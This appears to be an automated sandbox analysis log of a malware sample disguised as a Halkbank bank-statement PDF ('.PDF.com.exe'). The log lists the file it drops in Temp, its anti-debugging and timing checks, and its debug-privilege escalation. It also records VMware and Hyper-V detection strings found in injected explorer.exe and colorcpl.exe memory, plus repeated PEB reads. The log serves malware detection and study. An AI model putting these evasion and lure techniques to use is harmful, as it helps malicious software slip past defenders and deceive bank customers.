Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_0040101F FindFirstFileW,FindClose,	1_2_0040101F
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_004243EC FindFirstFileExW,FindNextFileW,FindClose,FindClose,	1_2_004243EC

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe	API call chain: ExitProcess graph end node			graph_0-3480
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	API call chain: ExitProcess graph end node			graph_1-31332

Source: explorer.exe, 00000004.00000000.316523149.00000000059F0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}1
Source: explorer.exe, 00000004.00000002.578290288.000000000830B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000004.00000003.548961361.000000000834F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&0000006
Source: explorer.exe, 00000004.00000002.573776968.00000000059F0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b
Source: explorer.exe, 00000004.00000003.448193988.00000000083E9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.446712622.00000000083E9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578290288.00000000083E9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.00000000083E9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW{
Source: explorer.exe, 00000004.00000003.446712622.0000000008394000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000003.552526417.000000000CDEA000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: _VMware_SATA_CD00#5&
Source: colorcpl.exe, 00000005.00000002.571083192.0000000007C19000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000004.00000002.578290288.000000000830B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&0000000
Source: colorcpl.exe, 00000005.00000002.568364047.0000000003529000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`m
Source: explorer.exe, 00000004.00000003.554719626.00000000085A9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: #CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000002.581222267.000000000D011000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448300348.000000000D011000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.554742792.000000000D011000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.550859104.000000000D011000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.558118829.000000000D011000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe

Code function: 1_2_00423073 IsDebuggerPresent,

1_2_00423073

Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe

Code function: 1_2_004010F4 CreateFileW,GetFileSize,GetProcessHeap,HeapAlloc,CloseHandle,ReadFile,CloseHandle,CloseHandle,MultiByteToWideChar,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,MultiByteToWideChar,GetProcessHeap,HeapFree,SetWindowTextW,GetProcessHeap,HeapFree,SendMessageW,SendMessageW,SendMessageW,SetFocus,GetWindowTextW,lstrcmpW,GetWindowTextLengthW,SendMessageW,SendMessageW,SendMessageW,

1_2_004010F4

Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe

Code function: 3_2_00A96A60 rdtscp

3_2_00A96A60

Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_00426169 mov eax, dword ptr fs:[00000030h]	1_2_00426169
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_00426126 mov eax, dword ptr fs:[00000030h]	1_2_00426126
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_004261AC mov eax, dword ptr fs:[00000030h]	1_2_004261AC
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_00426207 mov eax, dword ptr fs:[00000030h]	1_2_00426207
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_004262BC mov eax, dword ptr fs:[00000030h]	1_2_004262BC
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_00426344 mov eax, dword ptr fs:[00000030h]	1_2_00426344
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_00426375 mov eax, dword ptr fs:[00000030h]	1_2_00426375
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_00426300 mov eax, dword ptr fs:[00000030h]	1_2_00426300
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_0040DF53 mov ecx, dword ptr fs:[00000030h]	1_2_0040DF53
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA90AF mov eax, dword ptr fs:[00000030h]	3_2_00AA90AF
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A920A0 mov eax, dword ptr fs:[00000030h]	3_2_00A920A0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A920A0 mov eax, dword ptr fs:[00000030h]	3_2_00A920A0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A920A0 mov eax, dword ptr fs:[00000030h]	3_2_00A920A0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A920A0 mov eax, dword ptr fs:[00000030h]	3_2_00A920A0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A920A0 mov eax, dword ptr fs:[00000030h]	3_2_00A920A0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A920A0 mov eax, dword ptr fs:[00000030h]	3_2_00A920A0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A9F0BF mov ecx, dword ptr fs:[00000030h]	3_2_00A9F0BF
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A9F0BF mov eax, dword ptr fs:[00000030h]	3_2_00A9F0BF
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A9F0BF mov eax, dword ptr fs:[00000030h]	3_2_00A9F0BF
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A69080 mov eax, dword ptr fs:[00000030h]	3_2_00A69080
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE3884 mov eax, dword ptr fs:[00000030h]	3_2_00AE3884
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE3884 mov eax, dword ptr fs:[00000030h]	3_2_00AE3884
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A658EC mov eax, dword ptr fs:[00000030h]	3_2_00A658EC
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AFB8D0 mov eax, dword ptr fs:[00000030h]	3_2_00AFB8D0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AFB8D0 mov ecx, dword ptr fs:[00000030h]	3_2_00AFB8D0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AFB8D0 mov eax, dword ptr fs:[00000030h]	3_2_00AFB8D0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AFB8D0 mov eax, dword ptr fs:[00000030h]	3_2_00AFB8D0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AFB8D0 mov eax, dword ptr fs:[00000030h]	3_2_00AFB8D0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AFB8D0 mov eax, dword ptr fs:[00000030h]	3_2_00AFB8D0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A9002D mov eax, dword ptr fs:[00000030h]	3_2_00A9002D
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A9002D mov eax, dword ptr fs:[00000030h]	3_2_00A9002D
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A9002D mov eax, dword ptr fs:[00000030h]	3_2_00A9002D
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A9002D mov eax, dword ptr fs:[00000030h]	3_2_00A9002D
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A9002D mov eax, dword ptr fs:[00000030h]	3_2_00A9002D
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A7B02A mov eax, dword ptr fs:[00000030h]	3_2_00A7B02A
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A7B02A mov eax, dword ptr fs:[00000030h]	3_2_00A7B02A
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A7B02A mov eax, dword ptr fs:[00000030h]	3_2_00A7B02A
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A7B02A mov eax, dword ptr fs:[00000030h]	3_2_00A7B02A
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B34015 mov eax, dword ptr fs:[00000030h]	3_2_00B34015
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B34015 mov eax, dword ptr fs:[00000030h]	3_2_00B34015
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE7016 mov eax, dword ptr fs:[00000030h]	3_2_00AE7016
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE7016 mov eax, dword ptr fs:[00000030h]	3_2_00AE7016
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE7016 mov eax, dword ptr fs:[00000030h]	3_2_00AE7016
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B22073 mov eax, dword ptr fs:[00000030h]	3_2_00B22073
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B31074 mov eax, dword ptr fs:[00000030h]	3_2_00B31074
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A80050 mov eax, dword ptr fs:[00000030h]	3_2_00A80050
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A80050 mov eax, dword ptr fs:[00000030h]	3_2_00A80050
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE69A6 mov eax, dword ptr fs:[00000030h]	3_2_00AE69A6
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A961A0 mov eax, dword ptr fs:[00000030h]	3_2_00A961A0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A961A0 mov eax, dword ptr fs:[00000030h]	3_2_00A961A0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE51BE mov eax, dword ptr fs:[00000030h]	3_2_00AE51BE
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE51BE mov eax, dword ptr fs:[00000030h]	3_2_00AE51BE
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE51BE mov eax, dword ptr fs:[00000030h]	3_2_00AE51BE
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE51BE mov eax, dword ptr fs:[00000030h]	3_2_00AE51BE
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A8C182 mov eax, dword ptr fs:[00000030h]	3_2_00A8C182
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A9A185 mov eax, dword ptr fs:[00000030h]	3_2_00A9A185
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A92990 mov eax, dword ptr fs:[00000030h]	3_2_00A92990
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A6B1E1 mov eax, dword ptr fs:[00000030h]	3_2_00A6B1E1
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A6B1E1 mov eax, dword ptr fs:[00000030h]	3_2_00A6B1E1
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A6B1E1 mov eax, dword ptr fs:[00000030h]	3_2_00A6B1E1
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AF41E8 mov eax, dword ptr fs:[00000030h]	3_2_00AF41E8
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A84120 mov eax, dword ptr fs:[00000030h]	3_2_00A84120
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A84120 mov eax, dword ptr fs:[00000030h]	3_2_00A84120
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A84120 mov eax, dword ptr fs:[00000030h]	3_2_00A84120
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A84120 mov eax, dword ptr fs:[00000030h]	3_2_00A84120
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A84120 mov ecx, dword ptr fs:[00000030h]	3_2_00A84120
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A9513A mov eax, dword ptr fs:[00000030h]	3_2_00A9513A
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A9513A mov eax, dword ptr fs:[00000030h]	3_2_00A9513A
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A69100 mov eax, dword ptr fs:[00000030h]	3_2_00A69100
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A69100 mov eax, dword ptr fs:[00000030h]	3_2_00A69100
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A69100 mov eax, dword ptr fs:[00000030h]	3_2_00A69100
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A6C962 mov eax, dword ptr fs:[00000030h]	3_2_00A6C962
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A6B171 mov eax, dword ptr fs:[00000030h]	3_2_00A6B171
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A6B171 mov eax, dword ptr fs:[00000030h]	3_2_00A6B171
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A8B944 mov eax, dword ptr fs:[00000030h]	3_2_00A8B944
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A8B944 mov eax, dword ptr fs:[00000030h]	3_2_00A8B944
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A652A5 mov eax, dword ptr fs:[00000030h]	3_2_00A652A5
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A652A5 mov eax, dword ptr fs:[00000030h]	3_2_00A652A5
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A652A5 mov eax, dword ptr fs:[00000030h]	3_2_00A652A5
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A652A5 mov eax, dword ptr fs:[00000030h]	3_2_00A652A5
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A652A5 mov eax, dword ptr fs:[00000030h]	3_2_00A652A5
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A7AAB0 mov eax, dword ptr fs:[00000030h]	3_2_00A7AAB0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A7AAB0 mov eax, dword ptr fs:[00000030h]	3_2_00A7AAB0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A9FAB0 mov eax, dword ptr fs:[00000030h]	3_2_00A9FAB0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A9D294 mov eax, dword ptr fs:[00000030h]	3_2_00A9D294
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A9D294 mov eax, dword ptr fs:[00000030h]	3_2_00A9D294
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A92AE4 mov eax, dword ptr fs:[00000030h]	3_2_00A92AE4
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A92ACB mov eax, dword ptr fs:[00000030h]	3_2_00A92ACB
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA4A2C mov eax, dword ptr fs:[00000030h]	3_2_00AA4A2C
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA4A2C mov eax, dword ptr fs:[00000030h]	3_2_00AA4A2C
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B2AA16 mov eax, dword ptr fs:[00000030h]	3_2_00B2AA16
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B2AA16 mov eax, dword ptr fs:[00000030h]	3_2_00B2AA16
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A78A0A mov eax, dword ptr fs:[00000030h]	3_2_00A78A0A
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A6AA16 mov eax, dword ptr fs:[00000030h]	3_2_00A6AA16
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A6AA16 mov eax, dword ptr fs:[00000030h]	3_2_00A6AA16
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A83A1C mov eax, dword ptr fs:[00000030h]	3_2_00A83A1C
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A65210 mov eax, dword ptr fs:[00000030h]	3_2_00A65210
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A65210 mov ecx, dword ptr fs:[00000030h]	3_2_00A65210
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A65210 mov eax, dword ptr fs:[00000030h]	3_2_00A65210
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A65210 mov eax, dword ptr fs:[00000030h]	3_2_00A65210
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA927A mov eax, dword ptr fs:[00000030h]	3_2_00AA927A
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B1B260 mov eax, dword ptr fs:[00000030h]	3_2_00B1B260
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B1B260 mov eax, dword ptr fs:[00000030h]	3_2_00B1B260
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B38A62 mov eax, dword ptr fs:[00000030h]	3_2_00B38A62
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A69240 mov eax, dword ptr fs:[00000030h]	3_2_00A69240
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A69240 mov eax, dword ptr fs:[00000030h]	3_2_00A69240
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A69240 mov eax, dword ptr fs:[00000030h]	3_2_00A69240
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A69240 mov eax, dword ptr fs:[00000030h]	3_2_00A69240
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B2EA55 mov eax, dword ptr fs:[00000030h]	3_2_00B2EA55
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AF4257 mov eax, dword ptr fs:[00000030h]	3_2_00AF4257
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A94BAD mov eax, dword ptr fs:[00000030h]	3_2_00A94BAD
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A94BAD mov eax, dword ptr fs:[00000030h]	3_2_00A94BAD
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A94BAD mov eax, dword ptr fs:[00000030h]	3_2_00A94BAD
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B35BA5 mov eax, dword ptr fs:[00000030h]	3_2_00B35BA5
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A71B8F mov eax, dword ptr fs:[00000030h]	3_2_00A71B8F
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A71B8F mov eax, dword ptr fs:[00000030h]	3_2_00A71B8F
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B1D380 mov ecx, dword ptr fs:[00000030h]	3_2_00B1D380
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B2138A mov eax, dword ptr fs:[00000030h]	3_2_00B2138A
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A9B390 mov eax, dword ptr fs:[00000030h]	3_2_00A9B390
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A92397 mov eax, dword ptr fs:[00000030h]	3_2_00A92397
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A8DBE9 mov eax, dword ptr fs:[00000030h]	3_2_00A8DBE9
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A903E2 mov eax, dword ptr fs:[00000030h]	3_2_00A903E2
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A903E2 mov eax, dword ptr fs:[00000030h]	3_2_00A903E2
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A903E2 mov eax, dword ptr fs:[00000030h]	3_2_00A903E2
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A903E2 mov eax, dword ptr fs:[00000030h]	3_2_00A903E2
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A903E2 mov eax, dword ptr fs:[00000030h]	3_2_00A903E2
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A903E2 mov eax, dword ptr fs:[00000030h]	3_2_00A903E2
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE53CA mov eax, dword ptr fs:[00000030h]	3_2_00AE53CA
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE53CA mov eax, dword ptr fs:[00000030h]	3_2_00AE53CA
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B2131B mov eax, dword ptr fs:[00000030h]	3_2_00B2131B
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A6DB60 mov ecx, dword ptr fs:[00000030h]	3_2_00A6DB60
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A93B7A mov eax, dword ptr fs:[00000030h]	3_2_00A93B7A
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A93B7A mov eax, dword ptr fs:[00000030h]	3_2_00A93B7A
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A6DB40 mov eax, dword ptr fs:[00000030h]	3_2_00A6DB40
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B38B58 mov eax, dword ptr fs:[00000030h]	3_2_00B38B58
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A6F358 mov eax, dword ptr fs:[00000030h]	3_2_00A6F358
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A7849B mov eax, dword ptr fs:[00000030h]	3_2_00A7849B
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B214FB mov eax, dword ptr fs:[00000030h]	3_2_00B214FB
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE6CF0 mov eax, dword ptr fs:[00000030h]	3_2_00AE6CF0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE6CF0 mov eax, dword ptr fs:[00000030h]	3_2_00AE6CF0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE6CF0 mov eax, dword ptr fs:[00000030h]	3_2_00AE6CF0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B38CD6 mov eax, dword ptr fs:[00000030h]	3_2_00B38CD6
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A9BC2C mov eax, dword ptr fs:[00000030h]	3_2_00A9BC2C
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE6C0A mov eax, dword ptr fs:[00000030h]	3_2_00AE6C0A
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE6C0A mov eax, dword ptr fs:[00000030h]	3_2_00AE6C0A
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE6C0A mov eax, dword ptr fs:[00000030h]	3_2_00AE6C0A
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AE6C0A mov eax, dword ptr fs:[00000030h]	3_2_00AE6C0A
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B21C06 mov eax, dword ptr fs:[00000030h]	3_2_00B21C06
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B21C06 mov eax, dword ptr fs:[00000030h]	3_2_00B21C06
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B21C06 mov eax, dword ptr fs:[00000030h]	3_2_00B21C06
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B21C06 mov eax, dword ptr fs:[00000030h]	3_2_00B21C06
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B21C06 mov eax, dword ptr fs:[00000030h]	3_2_00B21C06
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B21C06 mov eax, dword ptr fs:[00000030h]	3_2_00B21C06
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B21C06 mov eax, dword ptr fs:[00000030h]	3_2_00B21C06
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B21C06 mov eax, dword ptr fs:[00000030h]	3_2_00B21C06
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B21C06 mov eax, dword ptr fs:[00000030h]	3_2_00B21C06
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B21C06 mov eax, dword ptr fs:[00000030h]	3_2_00B21C06
